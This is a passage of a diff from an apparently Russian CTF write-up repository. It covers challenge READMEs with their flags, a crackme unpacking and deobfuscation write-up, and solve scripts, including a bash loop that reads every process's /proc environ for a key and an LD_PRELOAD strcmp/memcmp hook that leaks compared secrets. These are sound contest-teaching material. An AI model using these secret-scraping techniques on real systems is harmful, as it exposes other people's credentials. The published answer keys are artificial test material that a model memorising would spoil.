if c % e != 0:
|
||||
raise ValueError("Non-integer term encountered; protocol assumption violated")
|
||||
ce = c // e
|
||||
res += ce * (pow(b, e) - pow(a, e))
|
||||
return res
|
||||
|
||||
|
||||
def eval_expr(expr: str) -> int:
|
||||
t = expr.strip().split()
|
||||
if not t:
|
||||
raise ValueError("Empty expression")
|
||||
op = t[0]
|
||||
|
||||
def i(x: str) -> int:
|
||||
return int(x)
|
||||
|
||||
if op == "plus":
|
||||
return i(t[1]) + i(t[2])
|
||||
if op == "minus":
|
||||
return i(t[1]) - i(t[2])
|
||||
if op == "times":
|
||||
return i(t[1]) * i(t[2])
|
||||
if op == "div":
|
||||
a, b = i(t[1]), i(t[2])
|
||||
return a // b
|
||||
if op == "mod":
|
||||
a, b = i(t[1]), i(t[2])
|
||||
return a % b
|
||||
if op == "pow":
|
||||
a, b = i(t[1]), i(t[2])
|
||||
return pow(a, b)
|
||||
if op == "sqrt":
|
||||
a = i(t[1])
|
||||
r = math.isqrt(a)
|
||||
return r
|
||||
if op == "abs":
|
||||
return abs(i(t[1]))
|
||||
if op == "fact":
|
||||
return math.factorial(i(t[1]))
|
||||
if op == "gcd":
|
||||
return math.gcd(i(t[1]), i(t[2]))
|
||||
if op == "lcm":
|
||||
a, b = i(t[1]), i(t[2])
|
||||
g = math.gcd(a, b)
|
||||
return a // g * b
|
||||
if op == "det2":
|
||||
a, b, c, d = i(t[1]), i(t[2]), i(t[3]), i(t[4])
|
||||
return a * d - b * c
|
||||
if op == "det3":
|
||||
a, b, c = i(t[1]), i(t[2]), i(t[3])
|
||||
d, e, f = i(t[4]), i(t[5]), i(t[6])
|
||||
g, h, j = i(t[7]), i(t[8]), i(t[9])
|
||||
return a * (e * j - f * h) - b * (d * j - f * g) + c * (d * h - e * g)
|
||||
if op == "sum":
|
||||
if t[3] != "step":
|
||||
raise ValueError("Expected 'step' in sum expression")
|
||||
a, b, s = i(t[1]), i(t[2]), i(t[4])
|
||||
return arith_sum(a, b, s)
|
||||
if op == "fib":
|
||||
return fib_fast(i(t[1]))
|
||||
if op == "lin1":
|
||||
a, b, c = i(t[1]), i(t[2]), i(t[3])
|
||||
return (c - b) // a
|
||||
if op == "lin2x":
|
||||
a1, b1, c1, a2, b2, c2 = i(t[1]), i(t[2]), i(t[3]), i(t[4]), i(t[5]), i(t[6])
|
||||
D = a1 * b2 - a2 * b1
|
||||
return (c1 * b2 - c2 * b1) // D
|
||||
if op == "lin2y":
|
||||
a1, b1, c1, a2, b2, c2 = i(t[1]), i(t[2]), i(t[3]), i(t[4]), i(t[5]), i(t[6])
|
||||
D = a1 * b2 - a2 * b1
|
||||
return (a1 * c2 - a2 * c1) // D
|
||||
if op == "integral":
|
||||
a, b = i(t[1]), i(t[2])
|
||||
if t[3] != "poly":
|
||||
raise ValueError("Expected 'poly' in integral expression")
|
||||
coeff = list(map(int, t[4:]))
|
||||
return integral_poly(a, b, coeff)
|
||||
|
||||
raise ValueError(f"Unknown operator: {op}")
|
||||
|
||||
|
||||
def run(host: str, port: int):
|
||||
with socket.create_connection((host, port)) as sock:
|
||||
sock_file = sock.makefile("rwb", buffering=0)
|
||||
pending = None # (expr_str, answer)
|
||||
while True:
|
||||
line = sock_file.readline()
|
||||
if not line:
|
||||
break
|
||||
try:
|
||||
s = line.decode().rstrip("\r\n")
|
||||
except Exception:
|
||||
continue
|
||||
print(f"[SRV] {s}")
|
||||
|
||||
if s.startswith("Task ") and ":" in s:
|
||||
try:
|
||||
expr = s.split(":", 1)[1].strip()
|
||||
except Exception:
|
||||
expr = ""
|
||||
ans = eval_expr(expr)
|
||||
pending = (expr, ans)
|
||||
print(f"[SOLVE] {expr} => {ans}")
|
||||
continue
|
||||
|
||||
if s.strip().startswith(">") and pending is not None:
|
||||
print(f"[SEND] {pending[1]}")
|
||||
ans_bytes = str(pending[1]).encode() + b"\n"
|
||||
sock_file.write(ans_bytes)
|
||||
sock_file.flush()
|
||||
pending = None
|
||||
continue
|
||||
|
||||
if "Here is your flag:" in s or s.endswith("Bye."):
|
||||
print(s)
|
||||
continue
|
||||
|
||||
|
||||
def main():
|
||||
host = sys.argv[1] if len(sys.argv) >= 2 else os.getenv("HOST", "127.0.0.1")
|
||||
port = int(sys.argv[2]) if len(sys.argv) >= 3 else int(os.getenv("PORT", "5000"))
|
||||
run(host, port)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
12
MetamorphicCore-Reverse/README.md
Normal file
12
MetamorphicCore-Reverse/README.md
Normal file
@@ -0,0 +1,12 @@
|
||||
## Информация для участников
|
||||
> MCVM - Metamorphic Core Virtual Machine наша новейшая разработка.
|
||||
Попытай свои силы, реверсер! ;)
|
||||
|
||||
## Выдать участникам
|
||||
public/MetamorphicCore.exe
|
||||
|
||||
## Решение
|
||||
райтап лежит в solve/writeup.md
|
||||
|
||||
## Флаг
|
||||
`caplag{6ed9095fc6d38efbdea82031d16150c1b80c16cd641a135f117bdc411dbba68a}`
|
||||
289
MetamorphicCore-Reverse/solve/writeup.md
Normal file
289
MetamorphicCore-Reverse/solve/writeup.md
Normal file
@@ -0,0 +1,289 @@
|
||||
# Writeup: Metamorphic Core Crackme
|
||||
|
||||
## **Используемые инструменты**
|
||||
- **DnSpy**
|
||||
- **Detect It Easy**
|
||||
- **UPX**
|
||||
- **ExtremeDumper**
|
||||
- **.NET Reactor Slayer**
|
||||
|
||||
---
|
||||
|
||||
## **Шаг 1. UPX упаковка**
|
||||
|
||||
Загружаем файл в **Detect It Easy** и видим, что он упакован **UPX**.
|
||||
Попытка распаковать через `upx.exe -d <file>` неудачна — заголовок повреждён.
|
||||
|
||||
Открываем бинарь в **Hex Editor** и сравниваем заголовок с эталонным.
|
||||
Находим строку `MCVM` вместо `UPX0`. Исправляем байты на **UPX0** и успешно распаковываем через `upx -d`.
|
||||
|
||||
---
|
||||
|
||||
## **Шаг 2. Native-загрузчик .NET Reactor**
|
||||
|
||||
Повторная проверка в **Detect It Easy** показывает: код нативный, обфусцирован **.NET Reactor**.
|
||||
Это значит, что бинарь упакован в **native loader**.
|
||||
|
||||
Открываем EXE в **DnSpy (32-bit)** и запускаем. На точке **CreateProcess** видно, что процесс распакован и висит в памяти.
|
||||
Используем **ExtremeDumper** → находим `task.exe` → делаем дамп. Получаем два файла:
|
||||
- **_.dll**
|
||||
- **VmHost.exe**
|
||||
|
||||
---
|
||||
|
||||
## **Шаг 3. Деобфускация .NET Reactor**
|
||||
|
||||
Открываем **VmHost.exe** в **DnSpy** или **Detect It Easy** — видим сильную обфускацию.
|
||||
Запускаем **.NET Reactor Slayer**, выбираем все опции и запускаем деобфускацию.
|
||||
|
||||
Теперь бинарь читаем и доступен для отладки.
|
||||
|
||||
---
|
||||
|
||||
## **Шаг 4. Отладка VM**
|
||||
|
||||
Открываем **VmHost.exe** в **DnSpy**.
|
||||
Ставим брейкпоинт в произвольном месте и смотрим окно **Local Variables**.
|
||||
|
||||
Видим переменные:
|
||||
- **this.dictionary_***
|
||||
- **this.list_***
|
||||
- **this.stack_***
|
||||
- **this.object_***
|
||||
|
||||
Здесь хранятся строки с именами функций виртуальной машины: **SHA256**, **ExitProcess**, **sha256_hex**, **tohex** и др.
|
||||
Значит, вызовы идут через опкод **CALL** в VM.
|
||||
|
||||
---
|
||||
|
||||
## **Шаг 5. Поиск вызовов функций**
|
||||
|
||||
Находим функцию, отвечающую за вызов методов:
|
||||
|
||||
```csharp
|
||||
private void method_3(int int_3, int int_4)
|
||||
{
|
||||
Class3.Struct0 @struct;
|
||||
for (;;)
|
||||
{
|
||||
IL_177:
|
||||
@struct = this.struct0_0[int_3];
|
||||
int num = 0; <-------------------------- Тут ставим брейкпоинт
|
||||
if (<Module>{3a1b6496-e3bc-4dd9-bc7f-29db217cfc86}.m_b53c11d96ca540509b6b9be7f90e8419 != 0)
|
||||
{
|
||||
goto IL_F4;
|
||||
}
|
||||
Class3.Struct1 struct2;
|
||||
for (;;)
|
||||
{
|
||||
IL_123:
|
||||
int num2;
|
||||
switch (num)
|
||||
{
|
||||
case 0:
|
||||
goto IL_B5;
|
||||
case 1:
|
||||
goto IL_F4;
|
||||
case 2:
|
||||
goto IL_177;
|
||||
case 3:
|
||||
case 4:
|
||||
goto IL_A0;
|
||||
case 5:
|
||||
num2--;
|
||||
num = 2;
|
||||
if (<Module>{3a1b6496-e3bc-4dd9-bc7f-29db217cfc86}.m_656fb7edff9a4bc3a280e41bdde428a0 != 0)
|
||||
{
|
||||
goto IL_A0;
|
||||
}
|
||||
continue;
|
||||
case 6:
|
||||
goto IL_6B;
|
||||
case 7:
|
||||
goto IL_D4;
|
||||
case 8:
|
||||
goto IL_197;
|
||||
case 9:
|
||||
goto IL_4F;
|
||||
case 10:
|
||||
return;
|
||||
case 11:
|
||||
goto IL_44;
|
||||
case 12:
|
||||
goto IL_62;
|
||||
case 13:
|
||||
goto IL_47;
|
||||
case 14:
|
||||
num2 = @struct.int_1 - 1;
|
||||
num = 0;
|
||||
if (<Module>{3a1b6496-e3bc-4dd9-bc7f-29db217cfc86}.m_9fc4e4f74325466da9db2cc7afcf1357 == 0)
|
||||
{
|
||||
goto IL_A0;
|
||||
}
|
||||
continue;
|
||||
case 15:
|
||||
goto IL_1B4;
|
||||
case 16:
|
||||
goto IL_30;
|
||||
case 17:
|
||||
break;
|
||||
default:
|
||||
goto IL_B5;
|
||||
}
|
||||
IL_06:
|
||||
struct2.object_0[num2] = this.stack_0.Pop();
|
||||
num = 5;
|
||||
if (<Module>{3a1b6496-e3bc-4dd9-bc7f-29db217cfc86}.m_61742430ed914e4ca05833d60e3db39b == 0)
|
||||
{
|
||||
break;
|
||||
}
|
||||
continue;
|
||||
IL_A0:
|
||||
if (num2 >= 0)
|
||||
{
|
||||
goto IL_06;
|
||||
}
|
||||
num = 0;
|
||||
if (<Module>{3a1b6496-e3bc-4dd9-bc7f-29db217cfc86}.m_4090cbdba33d4db1ba74b2a9eac02aa1 == 0)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
IL_B5:
|
||||
this.stack_1.Push(struct2);
|
||||
num = 3;
|
||||
if (<Module>{3a1b6496-e3bc-4dd9-bc7f-29db217cfc86}.m_fe002c72199d46f0b4a52d0c2bff689e == 0)
|
||||
{
|
||||
goto Block_4;
|
||||
}
|
||||
}
|
||||
continue;
|
||||
IL_30:
|
||||
Class3.Struct1 struct3;
|
||||
struct2 = struct3;
|
||||
num = 14;
|
||||
if (<Module>{3a1b6496-e3bc-4dd9-bc7f-29db217cfc86}.m_0425df13f0c045d99d31a6db275fbd9e == 0)
|
||||
{
|
||||
goto IL_44;
|
||||
}
|
||||
goto IL_123;
|
||||
IL_6B:
|
||||
struct3.int_1 = 0;
|
||||
num = 3;
|
||||
if (<Module>{3a1b6496-e3bc-4dd9-bc7f-29db217cfc86}.m_d940aa626e044e7a9f22554ba2f6bb07 == 0)
|
||||
{
|
||||
goto IL_30;
|
||||
}
|
||||
goto IL_123;
|
||||
IL_62:
|
||||
int num3;
|
||||
struct3.int_0 = num3;
|
||||
goto IL_6B;
|
||||
IL_4F:
|
||||
struct3.object_0 = new object[@struct.int_2];
|
||||
goto IL_62;
|
||||
IL_47:
|
||||
struct3 = default(Class3.Struct1);
|
||||
goto IL_4F;
|
||||
IL_45:
|
||||
int num4;
|
||||
num3 = num4;
|
||||
goto IL_47;
|
||||
IL_D4:
|
||||
num4 = this.int_0;
|
||||
goto IL_45;
|
||||
IL_F4:
|
||||
if (int_4 != @struct.int_1)
|
||||
{
|
||||
goto Block_6;
|
||||
}
|
||||
if (this.stack_1.Count != 0)
|
||||
{
|
||||
goto IL_D4;
|
||||
}
|
||||
num = 4;
|
||||
if (<Module>{3a1b6496-e3bc-4dd9-bc7f-29db217cfc86}.m_b0871c76b442400c9823273656177106 == 0)
|
||||
{
|
||||
goto IL_123;
|
||||
}
|
||||
IL_44:
|
||||
num4 = -1;
|
||||
goto IL_45;
|
||||
}
|
||||
Block_4:
|
||||
goto IL_1B4;
|
||||
Block_6:
|
||||
IL_197:
|
||||
throw new Exception(Class5.smethod_17(656) + @struct.string_0);
|
||||
IL_1B4:
|
||||
this.int_0 = @struct.int_0;
|
||||
}
|
||||
```
|
||||
В локальной переменной **@struct** появляются названия функций, которые будут выполняться.
|
||||
|
||||
Здесь видим вызов **exists**, и в **object_0** лежит строка:
|
||||
```
|
||||
C:\Users\user\AppData\Local\Temp\.password\metamorphic.core
|
||||
```
|
||||
Значит, программа требует этот файл. Создаём его с любыми данными:
|
||||
```
|
||||
test1
|
||||
test2
|
||||
test3
|
||||
```
|
||||
|
||||
## **Шаг 6. Работа с файлом**
|
||||
|
||||
Перезапускаем отладку. Теперь программа не падает, т.к. файл найден.
|
||||
Следующий вызов — **"read_all_ascii"**. В **object_0** появляются строки из файла.
|
||||
|
||||
Затем вызываются **slice** и вспомогательные функции, которые берут первые две строки.
|
||||
После вызывается **abort**, и программа завершается.
|
||||
|
||||
## **Шаг 7. Проверка условий (IF)**
|
||||
|
||||
Ищем в коде VM функции условий IF:
|
||||
|
||||
```csharp
|
||||
[CompilerGenerated]
|
||||
private bool method_21(object object_2, object object_3)
|
||||
{
|
||||
return this.method_8(object_2, object_3); // Equals
|
||||
}
|
||||
|
||||
[CompilerGenerated]
|
||||
private bool method_22(object object_2, object object_3)
|
||||
{
|
||||
return !this.method_8(object_2, object_3); // Equals
|
||||
}
|
||||
```
|
||||
Ставим брейкпоинты и видим сравнение строк:
|
||||
```csharp
|
||||
object_2 = "test1"
|
||||
object_3 = "MetamorphicVirtualMachine"
|
||||
```
|
||||
Значит, первая строка файла должна быть MetamorphicVirtualMachine.
|
||||
|
||||
## **Шаг 8. XOR-дешифровка второй строки**
|
||||
|
||||
Дальше вызывается функция **xorstr**.
|
||||
В **object_0** лежит строка **+)8$)/e%+':-zxz}** и ключ **0x48**.
|
||||
|
||||
Расшифровка XOR даёт строку:
|
||||
```
|
||||
caplag-mcore2025
|
||||
```
|
||||
Эта строка сравнивается со второй строкой файла.
|
||||
|
||||
Итого, правильное содержимое файла **metamorphic.core**:
|
||||
```
|
||||
Metamorphic Core :: crackme
|
||||
Привет: DESKTOP-6IRVEAN, user user
|
||||
OK: заголовки валидны
|
||||
caplag{6ed9095fc6d38efbdea82031d16150c1b80c16cd641a135f117bdc411dbba68a}
|
||||
Готово
|
||||
```
|
||||
|
||||
✅ Флаг:
|
||||
```
|
||||
caplag{6ed9095fc6d38efbdea82031d16150c1b80c16cd641a135f117bdc411dbba68a}
|
||||
```
|
||||
14
Old new-MiscOSINT/README.md
Normal file
14
Old new-MiscOSINT/README.md
Normal file
@@ -0,0 +1,14 @@
|
||||
## Информация для участников
|
||||
В ходе наблюдения за объектом была получена видеозапись. По кадру с видео определи, что объединяет все эти данные и где искать объект.
|
||||
Формат флага: caplag{Grid Reference, NaPTAN: ATCOCode}.
|
||||
|
||||
## Выдать участникам
|
||||
Фото для участников: public/f2eri07uh.PNG
|
||||
|
||||
## Решение
|
||||
По формату флага понятно, что речь идет о UK. По полученному списку с фото понять (нагуглить, ИИ), что это обозначение рейсов ЖД маршрутов в UK с временем отправления (например, тут realtimetrains.co.uk). Найти нужные маршруты следования поезда и понять, что все они проезжают через станцию в York (станция York одна есть во всех 7ми маршрутах). Идем на openrailwaymap.app и ищем станцию, жмем View и видим naptan:AtcoCode (часть флага), тут же переходим по ссылке wikidata и там ищем OS grid reference или ищем grid как угодно.
|
||||
https://gridreferencefinder.com/
|
||||
|
||||
|
||||
## Флаг
|
||||
caplag{SE596517, 9100YORK}
|
||||
17
ProcessHunter-Admin/README.md
Normal file
17
ProcessHunter-Admin/README.md
Normal file
@@ -0,0 +1,17 @@
|
||||
## Информация для участников
|
||||
Вы — системный администратор Linux-сервера без графического интерфейса. На сервере запущено множество фоновых процессов. Среди них скрыт ключ для расшифровки зашифрованного(Файл зашифрован стандартным инструментом Linux для AES) флага (flag.enc). Ваша задача — написать скрипт (на bash, sh или Python), чтобы идентифицировать нужный процесс, извлечь ключ и декодировать флаг. Флаг в формате caplag{...}.
|
||||
|
||||
## Выдать участникам
|
||||
- `public/CTF_Admin_Medium.ova` - виртуальный образ VM
|
||||
**Данные от VM**:
|
||||
Логин: ctfuser
|
||||
Пароль: ctfuser
|
||||
|
||||
## Решение
|
||||
1) Загружаем виртуальную машину
|
||||
2) Запускаем скрипт для решения: [solve/solve.sh](solve/solve.sh)
|
||||
3) скрипт формирует decoded_flag.txt
|
||||
|
||||
## Флаг
|
||||
`caplag{CTF_1s_Jus7_L3g4l_H4ck1ng}`
|
||||
|
||||
19
ProcessHunter-Admin/solve/solve.sh
Normal file
19
ProcessHunter-Admin/solve/solve.sh
Normal file
@@ -0,0 +1,19 @@
|
||||
#!/bin/bash
|
||||
|
||||
# 1. Найти процесс, где в окружении есть KEY
|
||||
for pid in $(ps -e -o pid=); do
|
||||
if strings /proc/$pid/environ 2>/dev/null | grep -q 'KEY='; then
|
||||
KEY=$(strings /proc/$pid/environ 2>/dev/null | grep 'KEY=' | head -n1 | cut -d= -f2-)
|
||||
echo "Found KEY in PID $pid"
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
[ -z "$KEY" ] && { echo "KEY not found"; exit 1; }
|
||||
|
||||
# 2. Расшифровать flag.enc
|
||||
openssl enc -aes-256-cbc -d -salt -pbkdf2 -iter 100000 \
|
||||
-in flag.enc -out decoded_flag.txt \
|
||||
-pass pass:"$KEY"
|
||||
|
||||
cat decoded_flag.txt
|
||||
3
README.md
Normal file
3
README.md
Normal file
@@ -0,0 +1,3 @@
|
||||
# Kubok-Regionov
|
||||
|
||||
Райтапы для заданий с Кубка Регионов, проходившего с 20.12.2025.21.12.2025
|
||||
13
ReverseConveyor-PPC/README.md
Normal file
13
ReverseConveyor-PPC/README.md
Normal file
@@ -0,0 +1,13 @@
|
||||
## Информация для участников
|
||||
> Каждый запуск ReverseConveyor — как смена на ночном заводе
|
||||
|
||||
## Выдать участникам
|
||||
Удалённый сервис: `http://<host>:8080`.
|
||||
(Дополнительных файлов не требуется.)
|
||||
|
||||
## Решение
|
||||
Основная идея — реверснуть все 4 крякми, найти закономерность, понять паттерн (крякми каждый раз одинаковые - пароли разные). Автоматически достать секреты: перехватить `strcmp`/`memcmp` через `LD_PRELOAD`, извлечь случайные байты и отправить правильный ответ.
|
||||
Готовый скрипт: [solve/auto_solve.py](solve/auto_solve.py).
|
||||
|
||||
## Флаг
|
||||
`caplag{1_L0v3_R3V3rs3_3sp3C1411Y_4Ut0M4t10N}`
|
||||
270
ReverseConveyor-PPC/solve/auto_solve.py
Normal file
270
ReverseConveyor-PPC/solve/auto_solve.py
Normal file
@@ -0,0 +1,270 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Usage:
|
||||
python3 auto_solve.py --url <...>
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import subprocess
|
||||
import sys
|
||||
import tempfile
|
||||
import urllib.request
|
||||
import zipfile
|
||||
from pathlib import Path, PurePosixPath
|
||||
from stat import S_IXUSR, S_IXGRP, S_IXOTH
|
||||
|
||||
HOOK_SOURCE = r"""
|
||||
#define _GNU_SOURCE
|
||||
#include <dlfcn.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
typedef int (*strcmp_t)(const char *, const char *);
|
||||
typedef int (*memcmp_t)(const void *, const void *, size_t);
|
||||
|
||||
static __thread int rc_in_hook = 0;
|
||||
|
||||
int strcmp(const char *s1, const char *s2) {
|
||||
static strcmp_t real_strcmp = NULL;
|
||||
if (!real_strcmp) {
|
||||
real_strcmp = (strcmp_t)dlsym(RTLD_NEXT, "strcmp");
|
||||
}
|
||||
if (!rc_in_hook && s2) {
|
||||
rc_in_hook = 1;
|
||||
dprintf(2, "[RC_HOOK_STR] secret=%s\n", s2);
|
||||
rc_in_hook = 0;
|
||||
}
|
||||
return real_strcmp(s1, s2);
|
||||
}
|
||||
|
||||
int memcmp(const void *s1, const void *s2, size_t n) {
|
||||
static memcmp_t real_memcmp = NULL;
|
||||
if (!real_memcmp) {
|
||||
real_memcmp = (memcmp_t)dlsym(RTLD_NEXT, "memcmp");
|
||||
}
|
||||
if (!rc_in_hook && s2 && n <= 1024) {
|
||||
rc_in_hook = 1;
|
||||
dprintf(2, "[RC_HOOK_MEM] len=%zu data=", n);
|
||||
const unsigned char *p = (const unsigned char *)s2;
|
||||
for (size_t i = 0; i < n; ++i) {
|
||||
dprintf(2, "%02x", p[i]);
|
||||
}
|
||||
dprintf(2, "\n");
|
||||
rc_in_hook = 0;
|
||||
}
|
||||
return real_memcmp(s1, s2, n);
|
||||
}
|
||||
"""
|
||||
|
||||
MEM_RE = re.compile(r"\[RC_HOOK_MEM\]\s*len=(\d+)\s+data=([0-9a-fA-F]+)")
|
||||
STR_RE = re.compile(r"\[RC_HOOK_STR\]\s*secret=(.+)")
|
||||
DEFAULT_URL = os.environ.get("RC_URL", "URL")
|
||||
|
||||
|
||||
def normalize_member_name(name: str) -> str:
|
||||
return PurePosixPath(name).name
|
||||
|
||||
|
||||
def request_archive(base_url: str, target_dir: Path) -> tuple[str, Path, list[str]]:
|
||||
url = base_url.rstrip('/') + '/generate'
|
||||
req = urllib.request.Request(url, data=b'', method='POST')
|
||||
try:
|
||||
with urllib.request.urlopen(req) as resp:
|
||||
data = resp.read()
|
||||
cookies = resp.headers.get_all('Set-Cookie') or []
|
||||
except urllib.error.HTTPError as exc:
|
||||
raise RuntimeError(f"/generate failed: {exc.read().decode(errors='ignore')}") from exc
|
||||
|
||||
session_id = None
|
||||
for cookie in cookies:
|
||||
parts = cookie.split(';')
|
||||
for part in parts:
|
||||
part = part.strip()
|
||||
if part.startswith('session_id='):
|
||||
session_id = part.split('=', 1)[1]
|
||||
break
|
||||
if session_id:
|
||||
break
|
||||
if not session_id:
|
||||
raise RuntimeError('session_id cookie was not returned by the server')
|
||||
|
||||
archive_path = target_dir / 'bundle.zip'
|
||||
archive_path.write_bytes(data)
|
||||
extract_dir = target_dir / 'crackmes'
|
||||
extract_dir.mkdir(parents=True, exist_ok=True)
|
||||
with zipfile.ZipFile(archive_path, 'r') as zf:
|
||||
archive_order = []
|
||||
for member in zf.namelist():
|
||||
normalized = normalize_member_name(member)
|
||||
if normalized and normalized not in archive_order:
|
||||
archive_order.append(normalized)
|
||||
zf.extractall(extract_dir)
|
||||
|
||||
archive_order = [name for name in archive_order if name in EXTRACTORS]
|
||||
if len(archive_order) != len(EXTRACTORS):
|
||||
missing = set(EXTRACTORS) - set(archive_order)
|
||||
raise RuntimeError(f"unexpected crackme list in archive, missing: {sorted(missing)}")
|
||||
|
||||
for item in extract_dir.iterdir():
|
||||
if item.is_file():
|
||||
mode = item.stat().st_mode | S_IXUSR | S_IXGRP | S_IXOTH
|
||||
item.chmod(mode)
|
||||
|
||||
return session_id, extract_dir, archive_order
|
||||
|
||||
|
||||
def build_hook(temp_dir: Path) -> Path:
|
||||
src = temp_dir / 'rc_hook.c'
|
||||
so = temp_dir / 'rc_hook.so'
|
||||
src.write_text(HOOK_SOURCE)
|
||||
compile_cmd = ['gcc', '-shared', '-fPIC', '-O2', str(src), '-o', str(so), '-ldl']
|
||||
try:
|
||||
subprocess.run(compile_cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
except FileNotFoundError as exc:
|
||||
raise RuntimeError('gcc is required to build the hook but was not found') from exc
|
||||
return so
|
||||
|
||||
|
||||
def run_binary(binary: Path, hook: Path, payload: bytes, timeout: float = 3.0) -> str:
|
||||
env = os.environ.copy()
|
||||
env['LD_PRELOAD'] = str(hook)
|
||||
proc = subprocess.run(
|
||||
[str(binary)],
|
||||
input=payload,
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.PIPE,
|
||||
env=env,
|
||||
timeout=timeout,
|
||||
check=False,
|
||||
)
|
||||
return proc.stderr.decode(errors='ignore')
|
||||
|
||||
|
||||
def extract_pass1(binary: Path, hook: Path) -> str:
|
||||
logs = run_binary(binary, hook, b'test\n')
|
||||
m = STR_RE.search(logs)
|
||||
if not m:
|
||||
raise RuntimeError('Failed to capture strcmp secret for crackme1')
|
||||
return m.group(1).strip()
|
||||
|
||||
|
||||
def extract_mem_secret(binary: Path, hook: Path, payload: bytes) -> tuple[int, bytes]:
|
||||
logs = run_binary(binary, hook, payload)
|
||||
m = MEM_RE.search(logs)
|
||||
if not m:
|
||||
raise RuntimeError(f'No memcmp hook output for {binary.name}')
|
||||
length = int(m.group(1))
|
||||
data = bytes.fromhex(m.group(2))
|
||||
return length, data[:length]
|
||||
|
||||
|
||||
def extract_pass2(binary: Path, hook: Path) -> str:
|
||||
for length in range(1, 33):
|
||||
try:
|
||||
_, data = extract_mem_secret(binary, hook, ("A" * length + "\n").encode())
|
||||
break
|
||||
except RuntimeError:
|
||||
continue
|
||||
else:
|
||||
raise RuntimeError('Unable to trigger memcmp for crackme2')
|
||||
|
||||
key = b'cyber32'
|
||||
plaintext = bytes(data[i] ^ key[i % len(key)] for i in range(len(data)))
|
||||
return plaintext.decode()
|
||||
|
||||
|
||||
def extract_pass3(binary: Path, hook: Path) -> str:
|
||||
payload = b"0" * 64 + b"\n"
|
||||
logs = run_binary(binary, hook, payload)
|
||||
|
||||
|
||||
matches = list(MEM_RE.finditer(logs))
|
||||
if not matches:
|
||||
raise RuntimeError("No memcmp detected in crackme3")
|
||||
|
||||
for match in reversed(matches):
|
||||
length = int(match.group(1))
|
||||
hex_data = match.group(2)
|
||||
if length == 32 and len(hex_data) == 64:
|
||||
return hex_data.lower()
|
||||
|
||||
|
||||
last = matches[-1]
|
||||
length = int(last.group(1))
|
||||
data = bytes.fromhex(last.group(2))[:length]
|
||||
return data.hex()
|
||||
|
||||
|
||||
def extract_pass4(binary: Path, hook: Path) -> str:
|
||||
_, data = extract_mem_secret(binary, hook, b'A' * 4)
|
||||
return data.hex()
|
||||
|
||||
|
||||
EXTRACTORS = {
|
||||
'crackme1': extract_pass1,
|
||||
'crackme2': extract_pass2,
|
||||
'crackme3': extract_pass3,
|
||||
'crackme4': extract_pass4,
|
||||
}
|
||||
|
||||
|
||||
def solve_in_order(crackme_dir: Path, hook: Path, archive_order: list[str]) -> list[str]:
|
||||
answers = []
|
||||
for name in archive_order:
|
||||
extractor = EXTRACTORS.get(name)
|
||||
if not extractor:
|
||||
raise RuntimeError(f'unknown crackme entry: {name}')
|
||||
binary = crackme_dir / name
|
||||
if not binary.exists():
|
||||
raise RuntimeError(f'binary {binary} was not extracted')
|
||||
answers.append(extractor(binary, hook))
|
||||
return answers
|
||||
|
||||
|
||||
def submit_answer(base_url: str, session_id: str, combined: str) -> dict:
|
||||
url = base_url.rstrip('/') + '/submit'
|
||||
payload = json.dumps({'answer': combined}).encode()
|
||||
headers = {
|
||||
'Content-Type': 'application/json',
|
||||
'Cookie': f'session_id={session_id}',
|
||||
}
|
||||
req = urllib.request.Request(url, data=payload, method='POST', headers=headers)
|
||||
try:
|
||||
with urllib.request.urlopen(req) as resp:
|
||||
return json.loads(resp.read().decode())
|
||||
except urllib.error.HTTPError as exc:
|
||||
raise RuntimeError(f'/submit failed: {exc.read().decode(errors="ignore")}') from exc
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description='Automatic solver for ReverseConveyor')
|
||||
parser.add_argument('--url', default=DEFAULT_URL, help='Base URL of the service (default: %(default)s)')
|
||||
args = parser.parse_args()
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
tmp_path = Path(tmp)
|
||||
session_id, crackme_dir, archive_order = request_archive(args.url, tmp_path)
|
||||
hook = build_hook(tmp_path)
|
||||
|
||||
print(f"[+] Archive order: {' '.join(archive_order)}")
|
||||
parts = solve_in_order(crackme_dir, hook, archive_order)
|
||||
|
||||
combined = '_'.join(parts)
|
||||
print(f'[+] Answer: {combined}')
|
||||
result = submit_answer(args.url, session_id, combined)
|
||||
if result.get('ok'):
|
||||
print(f"[+] Flag: {result['flag']}")
|
||||
else:
|
||||
print('[-] Server rejected the answer:', result)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
try:
|
||||
main()
|
||||
except Exception as exc:
|
||||
print(f'[!] {exc}', file=sys.stderr)
|
||||
sys.exit(1)
|
||||
12
SuperEasySecret-Stegano/README.md
Normal file
12
SuperEasySecret-Stegano/README.md
Normal file
@@ -0,0 +1,12 @@
|
||||
## Информация для участников
|
||||
Вы наткнулись на таинственное изображение super_easy_secret.png, которое, по слухам, скрывает секретный флаг. Разгадайте, что спрятано внутри! Формат флага: caplag{...}.
|
||||
|
||||
## Выдать участникам
|
||||
- `public/super_easy_secret.png`
|
||||
|
||||
## Решение
|
||||
Скрипт для решения: [solve/extract_flag_super_easy.rs](solve/extract_flag_super_easy.rs)
|
||||
Решение с помощью stegsolve: [solve/solve.jpg](solve/solve.jpg)
|
||||
|
||||
## Флаг
|
||||
`caplag{H1dD3n$3cr3t}`
|
||||
42
SuperEasySecret-Stegano/solve/extract_flag_super_easy.rs
Normal file
42
SuperEasySecret-Stegano/solve/extract_flag_super_easy.rs
Normal file
@@ -0,0 +1,42 @@
|
||||
use image::open;
|
||||
use std::path::Path;
|
||||
|
||||
fn main() -> Result<(), Box<dyn std::error::Error>> {
|
||||
// Открываем изображение
|
||||
let img = open(&Path::new("super_easy_secret.png"))?.to_rgb8();
|
||||
|
||||
// Извлекаем ровно 160 битов из красного канала (20 символов)
|
||||
let mut bits = Vec::new();
|
||||
for pixel in img.pixels().take(160) {
|
||||
let lsb = pixel[0] & 1; // LSB красного канала
|
||||
bits.push(lsb);
|
||||
}
|
||||
|
||||
// Проверяем количество битов
|
